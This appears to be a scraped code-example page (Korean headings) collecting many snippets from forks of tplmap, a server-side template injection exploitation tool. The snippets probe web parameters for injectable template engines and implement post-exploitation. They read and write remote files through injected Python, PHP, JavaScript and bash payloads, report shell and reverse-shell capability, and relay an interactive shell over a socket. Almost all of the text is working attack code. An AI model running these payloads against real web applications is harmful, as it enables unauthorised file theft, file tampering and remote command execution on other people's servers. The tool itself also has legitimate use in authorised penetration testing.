예제 #1
0
    def _detect_dust(self):

        # Print what it's going to be tested
        log.info('%s plugin is testing rendering' % (self.plugin, ))

        for prefix, suffix in self._generate_contexts():

            payload = '{!c!}'
            header_rand = rand.randint_n(10)
            header = str(header_rand)
            trailer_rand = rand.randint_n(10)
            trailer = str(trailer_rand)

            if '' == self.render(code=payload,
                                 header=header,
                                 trailer=trailer,
                                 header_rand=header_rand,
                                 trailer_rand=trailer_rand,
                                 prefix=prefix,
                                 suffix=suffix):
                self.set('header', '%s')
                self.set('trailer', '%s')
                self.set('prefix', prefix)
                self.set('suffix', suffix)
                self.set('engine', self.plugin.lower())
                self.set('language', self.language)

                return
예제 #2
0
    def _detect_blind(self):

        action = self.actions.get('blind', {})
        payload_true = action.get('bool_true')
        payload_false = action.get('bool_false')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_true or not payload_false or not call_name or not hasattr(
                self, call_name):
            return

        # Print what it's going to be tested
        log.info('%s plugin is testing blind injection' % (self.plugin))

        for prefix, suffix in self._generate_contexts():

            # Conduct a true-false test
            if getattr(self, call_name)(
                    code=payload_true, prefix=prefix, suffix=suffix, blind=True
            ) and not getattr(self, call_name)(
                    code=payload_false, prefix=prefix, suffix=suffix,
                    blind=True):
                # We can assume here blind is true
                self.set('blind', True)
                self.set('prefix', prefix)
                self.set('suffix', suffix)
                return
예제 #3
0
파일: plugin.py 프로젝트: epinna/tplmap
    def read(self, remote_path):

        action = self.actions.get('read', {})
        payload = action.get('read')
        call_name = action.get('call', 'render')

        # Skip if something is missing or call function is not set
        if not action or not payload or not call_name or not hasattr(self, call_name):
            return

        # Get remote file md5
        md5_remote = self.md5(remote_path)

        if not md5_remote:
            log.warn('Error getting remote file md5, check presence and permission')
            return

        execution_code = payload % ({ 'path' : remote_path })

        data_b64encoded = getattr(self, call_name)(
            code = execution_code,
        )
        data = base64.b64decode(data_b64encoded)

        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')

        return data
예제 #4
0
파일: checks.py 프로젝트: anhilo/tplmap
def _print_injection_summary(channel):
    
    prefix = channel.data.get('prefix', '').replace('\n', '\\n')
    render_tag = channel.data.get('render_tag').replace('\n', '\\n') % ({'payload' : '' })
    suffix = channel.data.get('suffix', '').replace('\n', '\\n')
    
    log.info("""Tplmap identified the following injection point:

  Engine: %(engine)s
  Template: %(prefix)s%(render_tag)s%(suffix)s
  Context: %(context)s
  OS: %(os)s
  Capabilities:
    Code evaluation: %(eval)s 
    OS command execution: %(exec)s 
    File write: %(write)s 
    File read: %(read)s    
""" % ({
    'prefix': prefix,
    'render_tag': render_tag,
    'suffix': suffix,
    'context': 'text' if (not prefix and not suffix) else 'code',
    'engine': channel.data.get('engine').capitalize(),
    'os': channel.data.get('os', 'undetected'),
    'eval': 'no' if not channel.data.get('eval') else 'yes, %s code' % (channel.data.get('eval')),
    'exec': 'no' if not channel.data.get('exec') else 'yes',
    'write': 'no' if not channel.data.get('write') else 'yes',
    'read': 'no' if not channel.data.get('read') else 'yes',
}))    
예제 #5
0
파일: dust.py 프로젝트: epinna/tplmap
    def _detect_dust(self):

        # Print what it's going to be tested
        log.info('%s plugin is testing rendering' % (
                self.plugin,
                )
        )

        for prefix, suffix in self._generate_contexts():

            payload = 'AA{!c!}AA'
            header_rand = rand.randint_n(10)
            header = str(header_rand)
            trailer_rand = rand.randint_n(10)
            trailer = str(trailer_rand)

            if 'AAAA' == self.render(
                    code = payload,
                    header = header,
                    trailer = trailer,
                    header_rand = header_rand,
                    trailer_rand = trailer_rand,
                    prefix = prefix,
                    suffix = suffix
                ):
                self.set('header', '%s')
                self.set('trailer', '%s')
                self.set('prefix', prefix)
                self.set('suffix', suffix)
                self.set('engine', self.plugin.lower())
                self.set('language', self.language)
                
                return
예제 #6
0
파일: plugin.py 프로젝트: zteeed/tplmap
    def read(self, remote_path):

        action = self.actions.get('read', {})
        payload = action.get('read')
        call_name = action.get('call', 'render')

        # Skip if something is missing or call function is not set
        if not action or not payload or not call_name or not hasattr(
                self, call_name):
            return

        # Get remote file md5
        md5_remote = self.md5(remote_path)

        if not md5_remote:
            log.warn(
                'Error getting remote file md5, check presence and permission')
            return

        execution_code = payload % ({'path': remote_path})

        data_b64encoded = getattr(self, call_name)(code=execution_code, )
        data = base64.b64decode(data_b64encoded)

        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')

        return data
예제 #7
0
def detect_template_injection(channel, plugins=plugins):

    # Loop manually the channel.injs modifying channel's inj_idx
    if sys.version_info.major >= 2:
        wrappedRange = range
    else:
        wrappedRange = xrange

    for i in wrappedRange(len(channel.injs)):

        log.info("Testing if %s parameter '%s' is injectable" %
                 (channel.injs[channel.inj_idx]['field'],
                  channel.injs[channel.inj_idx]['param']))

        current_plugin = None

        # Iterate all the available plugins until
        # the first template engine is detected.
        for plugin in plugins:

            current_plugin = plugin(channel)

            # Skip if user specify a specific --engine
            if channel.args.get('engine') and channel.args.get(
                    'engine').lower() != current_plugin.plugin.lower():
                continue

            current_plugin.detect()

            if channel.data.get('engine'):
                return current_plugin

        channel.inj_idx += 1
예제 #8
0
    def forward_data(self):

        log.info("Incoming connection accepted")

        self.socket.setblocking(0)

        while(1):
            read_ready, write_ready, in_error = select.select(
                [self.socket, sys.stdin], [], [self.socket, sys.stdin])

            try:
                buffer = self.socket.recv(100)
                while(buffer != ''):

                    self.socket_state = True

                    sys.stdout.write(buffer)
                    sys.stdout.flush()
                    buffer = self.socket.recv(100)
                if(buffer == ''):
                    return
            except socket.error:
                pass
            while(1):
                r, w, e = select.select([sys.stdin], [], [], 0)
                if(len(r) == 0):
                    break
                c = sys.stdin.read(1)
                if(c == ''):
                    return
                if(self.socket.sendall(c) != None):
                    return
예제 #9
0
파일: checks.py 프로젝트: m-starke/tplmap
def detect_template_injection(channel, plugins = plugins):

    # Loop manually the channel.injs modifying channel's inj_idx
    for i in xrange(len(channel.injs)):

        log.info("Testing if %s parameter '%s' is injectable" % (
            channel.injs[channel.inj_idx]['field'],
            channel.injs[channel.inj_idx]['param']
            )
        )

        current_plugin = None

        # Iterate all the available plugins until
        # the first template engine is detected.
        for plugin in plugins:

            current_plugin = plugin(channel)

            # Skip if user specify a specific --engine
            if channel.args.get('engine') and channel.args.get('engine').lower() != current_plugin.plugin.lower():
                continue

            current_plugin.detect()

            if channel.data.get('engine'):
                return current_plugin

        channel.inj_idx += 1
예제 #10
0
파일: checks.py 프로젝트: pwnedDesal/tplmap
def _print_injection_summary(channel):

    prefix = channel.data.get('prefix', '').replace('\n', '\\n')
    render = channel.data.get('render', '%(code)s').replace('\n', '\\n') % ({'code' : '*' })
    suffix = channel.data.get('suffix', '').replace('\n', '\\n')

    if channel.data.get('evaluate_blind'):
        evaluation = 'ok, %s code (blind)' % (channel.data.get('language'))
    elif channel.data.get('evaluate'):
        evaluation = 'ok, %s code' % (channel.data.get('language'))
    else:
        evaluation = 'no'

    if channel.data.get('execute_blind'):
        execution = 'ok (blind)'
    elif channel.data.get('execute'):
        execution = 'ok'
    else:
        execution = 'no'

    if channel.data.get('write'):
        if channel.data.get('blind'):
            writing = 'ok (blind)'
        else:
            writing = 'ok'
    else:
        writing = 'no'

    log.info("""Tplmap identified the following injection point:

  %(method)s parameter: %(parameter)s
  Engine: %(engine)s
  Injection: %(prefix)s%(render)s%(suffix)s
  Context: %(context)s
  OS: %(os)s
  Technique: %(injtype)s
  Capabilities:

   Shell command execution: %(execute)s
   Bind and reverse shell: %(bind_shell)s
   File write: %(write)s
   File read: %(read)s
   Code evaluation: %(evaluate)s
""" % ({
    'prefix': prefix,
    'render': render,
    'suffix': suffix,
    'context': 'text' if (not prefix and not suffix) else 'code',
    'engine': channel.data.get('engine').capitalize(),
    'os': channel.data.get('os', 'undetected'),
    'injtype' : 'blind' if channel.data.get('blind') else 'render',
    'evaluate': evaluation,
    'execute': execution,
    'write': writing,
    'read': 'no' if not channel.data.get('read') else 'ok',
    'bind_shell': 'no' if not channel.data.get('bind_shell') else 'ok',
    'method': channel.injs[channel.inj_idx]['field'],
    'parameter': channel.injs[channel.inj_idx]['param']
}))
예제 #11
0
파일: checks.py 프로젝트: m-starke/tplmap
def _print_injection_summary(channel):

    prefix = channel.data.get('prefix', '').replace('\n', '\\n')
    render = channel.data.get('render', '%(code)s').replace('\n', '\\n') % ({'code' : '*' })
    suffix = channel.data.get('suffix', '').replace('\n', '\\n')

    if channel.data.get('evaluate_blind'):
        evaluation = 'ok, %s code (blind)' % (channel.data.get('language'))
    elif channel.data.get('evaluate'):
        evaluation = 'ok, %s code' % (channel.data.get('language'))
    else:
        evaluation = 'no'

    if channel.data.get('execute_blind'):
        execution = 'ok (blind)'
    elif channel.data.get('execute'):
        execution = 'ok'
    else:
        execution = 'no'

    if channel.data.get('write'):
        if channel.data.get('blind'):
            writing = 'ok (blind)'
        else:
            writing = 'ok'
    else:
        writing = 'no'

    log.info("""Tplmap identified the following injection point:

  %(method)s parameter: %(parameter)s
  Engine: %(engine)s
  Injection: %(prefix)s%(render)s%(suffix)s
  Context: %(context)s
  OS: %(os)s
  Technique: %(injtype)s
  Capabilities:

   Shell command execution: %(execute)s
   Bind and reverse shell: %(bind_shell)s
   File write: %(write)s
   File read: %(read)s
   Code evaluation: %(evaluate)s
""" % ({
    'prefix': prefix,
    'render': render,
    'suffix': suffix,
    'context': 'text' if (not prefix and not suffix) else 'code',
    'engine': channel.data.get('engine').capitalize(),
    'os': channel.data.get('os', 'undetected'),
    'injtype' : 'blind' if channel.data.get('blind') else 'render',
    'evaluate': evaluation,
    'execute': execution,
    'write': writing,
    'read': 'no' if not channel.data.get('read') else 'ok',
    'bind_shell': 'no' if not channel.data.get('bind_shell') else 'ok',
    'method': channel.injs[channel.inj_idx]['field'],
    'parameter': channel.injs[channel.inj_idx]['param']
}))
예제 #12
0
    def _parse_get(self):

        params_dict_list = urlparse.parse_qs(urlparse.urlsplit(self.url).query)

        for param, value_list in params_dict_list.items():
            self.get_params[param] = value_list

            if any(x for x in value_list if '*' in x):
                self.get_placeholders.append(param)
                log.info('Found placeholder in GET parameter \'%s\'' % param)
예제 #13
0
파일: channel.py 프로젝트: HMSH00D/tplmap
    def _parse_get(self):

        params_dict_list = urlparse.parse_qs(urlparse.urlsplit(self.url).query)

        for param, value_list in params_dict_list.items():
            self.get_params[param] = value_list

            if any(x for x in value_list if '*' in x):
                self.get_placeholders.append(param)
                log.info('Found placeholder in GET parameter \'%s\'' % param)
예제 #14
0
파일: plugin.py 프로젝트: wudi/sfish_pt
    def detect(self):

        # Start detection
        self._detect_render()

        # If render is not set, check unreliable render
        if self.get('render') == None:
            self._detect_unreliable_render()

        # Else, print and execute rendered_detected()
        else:

            # If here, the rendering is confirmed
            prefix = self.get('prefix', '')
            render = self.get('render', '%(code)s') % ({'code': '*'})
            suffix = self.get('suffix', '')
            log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' %
                     (
                         self.plugin,
                         repr(prefix).strip("'"),
                         repr(render).strip("'"),
                         repr(suffix).strip("'"),
                     ))

            # Clean up any previous unreliable render data
            self.delete('unreliable_render')
            self.delete('unreliable')

            # Set basic info
            self.set('engine', self.plugin.lower())
            self.set('language', self.language)

            # Set the environment
            self.rendered_detected()

        # Manage blind injection only if render detection has failed
        if not self.get('engine'):

            self._detect_blind()

            if self.get('blind'):

                log.info('%s plugin has confirmed blind injection' %
                         (self.plugin))

                # Clean up any previous unreliable render data
                self.delete('unreliable_render')
                self.delete('unreliable')

                # Set basic info
                self.set('engine', self.plugin.lower())
                self.set('language', self.language)

                # Set the environment
                self.blind_detected()
예제 #15
0
파일: plugin.py 프로젝트: zteeed/tplmap
    def inject(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        injection = prefix + code + suffix

        if self.channel.args.get('verbose'):
            log.info('\n\033[93m[+] {}\033[00m\n'.format(injection))

        log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url)))

        # If the request is blind
        if blind:

            expected_delay = self._get_expected_delay()

            start = int(time.time())

            self.channel.req(injection)

            end = int(time.time())
            delta = end - start

            result = delta >= expected_delay

            log.debug(
                '[blind %s] code above took %s (%s-%s). %s is the threshold, returning %s'
                % (self.plugin, str(delta), str(end), str(start),
                   str(expected_delay), str(result)))

            self._inject_verbose = {
                'result': result,
                'payload': injection,
                'expected_delay': expected_delay,
                'start': start,
                'end': end,
            }

            return result

        else:
            start = int(time.time())
            result = self.channel.req(injection)
            end = int(time.time())

            # Append the execution time to a buffer
            delta = end - start
            self.render_req_tm.append(delta)

            return result.strip() if result else result
예제 #16
0
파일: checks.py 프로젝트: xukaiyi/tplmap
def _print_injection_summary(channel):

    prefix = channel.data.get('prefix', '').replace('\n', '\\n')
    render = channel.data.get('render', '%(code)s').replace('\n', '\\n') % ({'code' : '*' })
    suffix = channel.data.get('suffix', '').replace('\n', '\\n')

    idiom = channel.data.get('evaluate')
    if idiom:
        evaluation = 'yes, %s code' % (idiom)
        if channel.data.get('evaluate_blind'):
            evaluation += ' (blind)'
    else:
        evaluation = 'no'

    # Handle execute_blind first since even if it's blind, execute is set as well
    # TODO: fix this? less ambiguity
    if channel.data.get('execute_blind'):
        execution = 'yes (blind)'
    elif channel.data.get('execute'):
        execution = 'yes'
    else:
        execution = 'no'

    log.info("""Tplmap identified the following injection point:

  Engine: %(engine)s
  Injection: %(prefix)s%(render)s%(suffix)s
  Context: %(context)s
  OS: %(os)s
  Technique: %(injtype)s
  Capabilities:
    Code evaluation: %(evaluate)s
    OS command execution: %(execute)s
    File write: %(write)s
    File read: %(read)s
""" % ({
    'prefix': prefix,
    'render': render,
    'suffix': suffix,
    'context': 'text' if (not prefix and not suffix) else 'code',
    'engine': channel.data.get('engine').capitalize(),
    'os': channel.data.get('os', 'undetected'),
    'injtype' : 'blind' if channel.data.get('blind') else 'render',
    'evaluate': evaluation,
    'execute': execution,
    'write': 'no' if not channel.data.get('write') else 'yes',
    'read': 'no' if not channel.data.get('read') else 'yes',
}))
예제 #17
0
    def _detect_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.info('%s plugin is testing rendering with tag %s' % (
            self.plugin,
            repr(render_action.get('render') % ({
                'code': '*'
            })),
        ))

        for prefix, suffix in self._generate_contexts():

            # Prepare base operation to be evalued server-side
            randA = rand.randint_n(1)
            randB = rand.randint_n(1)
            expected = str(randA * randB)

            payload = render_action.get('render') % ({
                'code':
                '%s*%s' % (randA, randB)
            })
            header_rand = rand.randint_n(10)
            header = render_action.get('header') % ({'header': header_rand})
            trailer_rand = rand.randint_n(10)
            trailer = render_action.get('trailer') % ({
                'trailer': trailer_rand
            })

            # First probe with payload wrapped by header and trailer, no suffex or prefix
            if expected == self.render(code=payload,
                                       header=header,
                                       trailer=trailer,
                                       header_rand=header_rand,
                                       trailer_rand=trailer_rand,
                                       prefix=prefix,
                                       suffix=suffix):
                self.set('render', render_action.get('render'))
                self.set('header', render_action.get('header'))
                self.set('trailer', render_action.get('trailer'))
                self.set('prefix', prefix)
                self.set('suffix', suffix)
                return
예제 #18
0
파일: jinja2.py 프로젝트: Warlockk/tplmap
    def read(self, remote_path):

        # Get remote file md5
        md5_remote = self._md5(remote_path)

        if not md5_remote:
            log.warn('Error getting remote file md5, check presence and permission')
            return

        data_b64encoded = self.evaluate("""__import__("base64").b64encode(open("%s", "rb").read())""" %  remote_path)
        data = base64.b64decode(data_b64encoded)

        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')

        return data
예제 #19
0
파일: smarty.py 프로젝트: Hamid-K/tplmap
    def read(self, remote_path):
                
        # Get remote file md5
        md5_remote = self._md5(remote_path)
            
        if not md5_remote:
            log.warn('Error getting remote file md5, check presence and permission')
            return
        
        data_b64encoded = self.evaluate("""print(base64_encode(file_get_contents("%s")));""" %  remote_path)
        data = base64decode(data_b64encoded)

        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')
            
        return data
예제 #20
0
파일: jinja2.py 프로젝트: Hamid-K/tplmap
 def read(self, remote_path):
             
     # Get remote file md5
     md5_remote = self._md5(remote_path)
         
     if not md5_remote:
         log.warn('Error getting remote file md5, check presence and permission')
         return
 
     data_b64encoded = self.evaluate("""__import__("base64").b64encode(open("%s", "rb").read())""" %  remote_path)
     data = base64decode(data_b64encoded)
     
     if not md5(data) == md5_remote:
         log.warn('Remote file md5 mismatch, check manually')
     else:
         log.info('File downloaded correctly')
         
     return data
예제 #21
0
파일: plugin.py 프로젝트: epinna/tplmap
    def _detect_blind(self):

        action = self.actions.get('blind', {})
        payload_true = action.get('test_bool_true')
        payload_false = action.get('test_bool_false')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_true or not payload_false or not call_name or not hasattr(self, call_name):
            return

        # Print what it's going to be tested
        log.info('%s plugin is testing blind injection' % (
                    self.plugin
                )
        )

        for prefix, suffix in self._generate_contexts():

            # Conduct a true-false test
            if not getattr(self, call_name)(
                code = payload_true,
                prefix = prefix,
                suffix = suffix,
                blind = True
            ):
                continue
            detail = {'blind_true':self._inject_verbose}
            if getattr(self, call_name)(
                code = payload_false,
                prefix = prefix,
                suffix = suffix,
                blind = True
            ):
                continue
            detail['blind_false'] = self._inject_verbose
            detail['average'] = sum(self.render_req_tm)/len(self.render_req_tm)

            # We can assume here blind is true
            self.set('blind', True)
            self.set('prefix', prefix)
            self.set('suffix', suffix)
            self.channel.detected('blind', detail)
            return
예제 #22
0
def _print_injection_summary(channel):

    prefix = channel.data.get('prefix', '').replace('\n', '\\n')
    render_tag = channel.data.get('render_tag').replace('\n', '\\n') % ({
        'payload':
        '*'
    })
    suffix = channel.data.get('suffix', '').replace('\n', '\\n')

    log.info("""Tplmap identified the following injection point:

  Engine: %(engine)s
  Template: %(prefix)s%(render_tag)s%(suffix)s
  Context: %(context)s
  OS: %(os)s
  Capabilities:
    Code evaluation: %(eval)s
    OS command execution: %(exec)s
    File write: %(write)s
    File read: %(read)s
""" % ({
        'prefix':
        prefix,
        'render_tag':
        render_tag,
        'suffix':
        suffix,
        'context':
        'text' if (not prefix and not suffix) else 'code',
        'engine':
        channel.data.get('engine').capitalize(),
        'os':
        channel.data.get('os', 'undetected'),
        'eval':
        'no' if not channel.data.get('eval') else 'yes, %s code' %
        (channel.data.get('eval')),
        'exec':
        'no' if not channel.data.get('exec') else 'yes',
        'write':
        'no' if not channel.data.get('write') else 'yes',
        'read':
        'no' if not channel.data.get('read') else 'yes',
    }))
예제 #23
0
    def _detect_unreliable_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.debug('%s plugin is testing unreliable rendering on text context' %
                  (self.plugin))

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA * randB)
        payload = render_action.get('render') % ({
            'code':
            '%s*%s' % (randA, randB)
        })

        # Probe with payload wrapped by header and trailer, no suffex or prefix.
        # Test if contained, since the page contains other garbage
        if expected in self.render(code=payload,
                                   header='',
                                   trailer='',
                                   header_rand=None,
                                   trailer_rand=None,
                                   prefix='',
                                   suffix=''):

            # Print if the first found unreliable renode
            if not self.get('unreliable_render'):
                log.info(
                    '%s plugin has detected unreliable rendering with tag %s, skipping'
                    % (self.plugin,
                       repr(render_action.get('render') % ({
                           'code': '*'
                       }))))

            self.set('unreliable_render', render_action.get('render'))
            self.set('unreliable', self.plugin)

            return
예제 #24
0
파일: plugin.py 프로젝트: zteeed/tplmap
    def _generate_contexts(self):

        # Loop all the contexts
        for ctx in self.contexts:

            # If --force-level skip any other level
            force_level = self.channel.args.get('force_level')
            if force_level and force_level[0] != None and ctx.get(
                    'level') != int(force_level[0]):
                continue
            # Skip any context which is above the required level
            if not force_level and ctx.get('level') > self.channel.args.get(
                    'level'):
                continue

            # The suffix is fixed
            suffix = ctx.get('suffix', '') % ()

            # If the context has no closures, generate one closure with a zero-length string
            if ctx.get('closures'):
                closures = self._generate_closures(ctx)

                log.info(
                    '%s plugin is testing %s*%s code context escape with %i variations%s'
                    % (self.plugin,
                       repr(
                           ctx.get('prefix', '%(closure)s') % ({
                               'closure': ''
                           })).strip("'"), repr(suffix).strip("'"),
                       len(closures), ' (level %i)' %
                       (ctx.get('level', 1)) if self.get('level') else ''))
            else:
                closures = ['']

            for closure in closures:

                # Format the prefix with closure
                prefix = ctx.get('prefix', '%(closure)s') % ({
                    'closure': closure
                })

                yield prefix, suffix
예제 #25
0
파일: plugin.py 프로젝트: CaineQT/tplmap
    def _detect_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.info('%s plugin is testing rendering with tag %s' % (
                self.plugin,
                repr(render_action.get('render') % ({'code' : '*' })),
            )
        )

        for prefix, suffix in self._generate_contexts():

            # Prepare base operation to be evalued server-side
            randA = rand.randint_n(1)
            randB = rand.randint_n(1)
            expected = str(randA*randB)

            payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) })
            header_rand = rand.randint_n(10)
            header = render_action.get('header') % ({ 'header' : header_rand })
            trailer_rand = rand.randint_n(10)
            trailer = render_action.get('trailer') % ({ 'trailer' : trailer_rand })

            # First probe with payload wrapped by header and trailer, no suffex or prefix
            if expected == self.render(
                    code = payload,
                    header = header,
                    trailer = trailer,
                    header_rand = header_rand,
                    trailer_rand = trailer_rand,
                    prefix = prefix,
                    suffix = suffix
                ):
                self.set('render', render_action.get('render'))
                self.set('header', render_action.get('header'))
                self.set('trailer', render_action.get('trailer'))
                self.set('prefix', prefix)
                self.set('suffix', suffix)
                return
예제 #26
0
파일: jinja2.py 프로젝트: Warlockk/tplmap
    def write(self, data, remote_path):

        # Check existance and overwrite with --force-overwrite
        if self._md5(remote_path):
            if not self.channel.args.get('force_overwrite'):
                log.warn('Remote path already exists, use --force-overwrite for overwrite')
                return
            else:
                self.evaluate("""open("%s", 'w').close()""" % remote_path)

        # Upload file in chunks of 500 characters
        for chunk in chunkit(data, 500):

            chunk_b64 = base64.urlsafe_b64encode(chunk)
            self.evaluate("""open("%s", 'ab+').write(__import__("base64").urlsafe_b64decode('%s'))""" % (remote_path, chunk_b64))

        if not md5(data) == self._md5(remote_path):
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File uploaded correctly')
예제 #27
0
파일: smarty.py 프로젝트: Warlockk/tplmap
    def read(self, remote_path):

        # Get remote file md5
        md5_remote = self._md5(remote_path)

        if not md5_remote:
            log.warn(
                'Error getting remote file md5, check presence and permission')
            return

        data_b64encoded = self.evaluate(
            """print(base64_encode(file_get_contents("%s")));""" % remote_path)
        data = base64.b64decode(data_b64encoded)

        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')

        return data
예제 #28
0
파일: freemarker.py 프로젝트: anhilo/tplmap
 def write(self, data, remote_path):
     
     # Check existance and overwrite with --force-overwrite
     if self._md5(remote_path):
         if not self.channel.args.get('force_overwrite'):
             log.warn('Remote path already exists, use --force-overwrite for overwrite')
             return
         else:
             self.execute("bash -c {echo,-n,}>%s" % (remote_path))
     
     # Upload file in chunks of 500 characters
     for chunk in chunkit(data, 500):
         
         chunk_b64 = base64encode(chunk)
         self.execute("bash -c {base64,--decode}<<<%s>>%s" % (chunk_b64, remote_path))
     
     if not md5(data) == self._md5(remote_path):
         log.warn('Remote file md5 mismatch, check manually')
     else:
         log.info('File uploaded correctly')
예제 #29
0
 def read(self, remote_path):
     
     # Get remote file md5
     md5_remote = self._md5(remote_path)
         
     if not md5_remote:
         log.warn('Error getting remote file md5, check presence and permission')
         return
     
     # Using base64 since self.execute() calling self.inject() strips
     # the response, corrupting the data
     data_b64encoded = self.execute('bash -c base64<%s' % remote_path)
     data = base64decode(data_b64encoded)
     
     if not md5(data) == md5_remote:
         log.warn('Remote file md5 mismatch, check manually')
     else:
         log.info('File downloaded correctly')
         
     return data
예제 #30
0
파일: jinja2.py 프로젝트: bogiesoft/tplmap
    def write(self, data, remote_path):

        # Check existance and overwrite with --force-overwrite
        if self._md5(remote_path):
            if not self.channel.args.get('force_overwrite'):
                log.warn('Remote path already exists, use --force-overwrite for overwrite')
                return
            else:
                self.evaluate("""open("%s", 'w').close()""" % remote_path)

        # Upload file in chunks of 500 characters
        for chunk in chunkit(data, 500):

            chunk_b64 = base64.urlsafe_b64encode(chunk)
            self.evaluate("""open("%s", 'ab+').write(__import__("base64").urlsafe_b64decode('%s'))""" % (remote_path, chunk_b64))

        if not md5(data) == self._md5(remote_path):
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File uploaded correctly')
예제 #31
0
파일: jade.py 프로젝트: Hamid-K/tplmap
    def read(self, remote_path):
        
        # Get remote file md5
        md5_remote = self._md5(remote_path)
            
        if not md5_remote:
            log.warn('Error getting remote file md5, check presence and permission')
            return
        
        # Use base64 since self.execute() calling self.inject() strips
        # the response, corrupting the data
        data_b64encoded = self.inject("""= global.process.mainModule.require('fs').readFileSync('%s').toString('base64')""" % remote_path)

        data = base64decode(data_b64encoded)
        
        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')
            
        return data
예제 #32
0
    def read(self, remote_path):

        # Get remote file md5
        md5_remote = self._md5(remote_path)

        if not md5_remote:
            log.warn(
                'Error getting remote file md5, check presence and permission')
            return

        # Using base64 since self.execute() calling self.inject() strips
        # the response, corrupting the data
        data_b64encoded = self.execute('bash -c base64<%s' % remote_path)
        data = base64.b64decode(data_b64encoded)

        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')

        return data
예제 #33
0
파일: plugin.py 프로젝트: CaineQT/tplmap
    def _detect_unreliable_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.debug('%s plugin is testing unreliable rendering on text context' % (
                self.plugin
            )
        )

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA*randB)
        payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) })

        # Probe with payload wrapped by header and trailer, no suffex or prefix
        if expected == self.render(
                code = payload,
                header = '',
                trailer = '',
                header_rand = None,
                trailer_rand = None,
                prefix = '',
                suffix = ''
            ):

            self.set('render', render_action.get('render'))

            # Print if the first found unreliable renode
            if not self.get('unreliable'):
                log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % (
                    self.plugin,
                    repr(self.get('render') % ({'code' : '*' })))
                )

            self.set('unreliable', self.plugin)
            return
예제 #34
0
파일: plugin.py 프로젝트: epinna/tplmap
    def _detect_unreliable_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.debug('%s plugin is testing unreliable rendering on text context' % (
                self.plugin
            )
        )

        # Prepare base operation to be evalued server-side
        expected = render_action.get('test_render_expected')
        payload = render_action.get('test_render')

        # Probe with payload wrapped by header and trailer, no suffex or prefix.
        # Test if contained, since the page contains other garbage
        if expected in self.render(
                code = payload,
                header = '',
                trailer = '',
                header_rand = 0,
                trailer_rand = 0,
                prefix = '',
                suffix = ''
            ):

            # Print if the first found unreliable renode
            if not self.get('unreliable_render'):
                log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % (
                    self.plugin,
                    repr(render_action.get('render') % ({'code' : '*' })))
                )

            self.set('unreliable_render', render_action.get('render'))
            self.set('unreliable', self.plugin)

            return
예제 #35
0
파일: plugin.py 프로젝트: CaineQT/tplmap
    def detect(self):

        # Start detection
        self._detect_render()

        # If render is not set, check unreliable render
        if self.get('render') == None:
            self._detect_unreliable_render()

        # Else, print and execute rendered_detected()
        else:

            # If here, the rendering is confirmed
            prefix = self.get('prefix', '')
            render = self.get('render', '%(code)s') % ({'code' : '*' })
            suffix = self.get('suffix', '')
            log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' % (
                self.plugin,
                repr(prefix).strip("'"),
                repr(render).strip("'"),
                repr(suffix).strip("'"),
                )
            )

            # Set the environment
            self.rendered_detected()

        # Manage blind injection only if render detection has failed
        if not self.get('engine'):

            self._detect_blind()

            if self.get('blind'):

                log.info('%s plugin has confirmed blind injection' % (self.plugin))

                # Set the environment
                self.blind_detected()
예제 #36
0
파일: plugin.py 프로젝트: zteeed/tplmap
    def _detect_blind(self):

        action = self.actions.get('blind', {})
        payload_true = action.get('test_bool_true')
        payload_false = action.get('test_bool_false')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_true or not payload_false or not call_name or not hasattr(
                self, call_name):
            return

        # Print what it's going to be tested
        log.info('%s plugin is testing blind injection' % (self.plugin))

        for prefix, suffix in self._generate_contexts():

            # Conduct a true-false test
            if not getattr(self, call_name)(
                    code=payload_true, prefix=prefix, suffix=suffix,
                    blind=True):
                continue
            detail = {'blind_true': self._inject_verbose}
            if getattr(self, call_name)(code=payload_false,
                                        prefix=prefix,
                                        suffix=suffix,
                                        blind=True):
                continue
            detail['blind_false'] = self._inject_verbose
            detail['average'] = sum(self.render_req_tm) / len(
                self.render_req_tm)

            # We can assume here blind is true
            self.set('blind', True)
            self.set('prefix', prefix)
            self.set('suffix', suffix)
            self.channel.detected('blind', detail)
            return
예제 #37
0
    def write(self, data, remote_path):

        # Check existance and overwrite with --force-overwrite
        if self._md5(remote_path):
            if not self.channel.args.get('force_overwrite'):
                log.warn(
                    'Remote path already exists, use --force-overwrite for overwrite'
                )
                return
